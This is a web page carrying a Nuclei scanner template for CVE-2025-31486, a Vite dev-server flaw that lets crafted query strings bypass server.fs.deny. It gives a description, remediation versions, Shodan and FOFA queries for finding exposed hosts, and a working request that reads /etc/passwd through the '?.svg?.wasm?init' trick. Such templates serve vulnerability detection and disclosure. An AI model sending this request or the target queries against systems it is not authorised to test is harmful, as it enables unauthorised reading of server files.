CVE-2025-31486: Vite server.fs.deny Bypass - Local File Inclusion

2025-11-11 Vite PoC Public

Description

Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest- script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default- 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

PoC

id: CVE-2025-31486

info:
  name: Vite server.fs.deny Bypass - Local File Inclusion
  author: wn147
  severity: medium
  description: |
    Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest- script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default- 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
  impact: |
    Attackers can bypass server.fs.deny restrictions to read arbitrary files smaller than 4kB when the Vite dev server is exposed to the network, potentially exposing sensitive configuration data.
  remediation: |
    Update Vite to version 4.5.12, 5.4.17, 6.0.14, 6.1.4, 6.2.5 or later.
  reference:
    - https://github.com/advisories/GHSA-xcj6-pq6g-qj4x
    - https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
    - https://github.com/vitejs/vite/commit/62d7e81ee189d65899bb65f3263ddbd85247b647
    - https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31486
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-31486
    cwe-id: CWE-200
    epss-score: 0.40461
    epss-percentile: 0.98572
  metadata:
    verified: true
    max-requests: 1
    shodan-query: title:"Vite App"
    fofa-query: title="Vite App"
  tags: cve,cve2025,vite,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/etc/passwd?.svg?.wasm?init"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "import initWasm"
          - "sourceMappingURL="
        condition: and

      - type: word
        part: body
        words:
          - "/@fs/etc/passwd?.svg"
        negative: true

      - type: word
        part: content_type
        words:
          - "text/javascript"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ae20eee9939cc4bfc51ab28411d577fbb31044178f944202a30256903a479ba2022100b3b7da3c3e2adcb2285026a98d61f5a00e7ed74bd2089d95d251e18932dca7d2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-31486.yaml

References

Related Vulnerabilities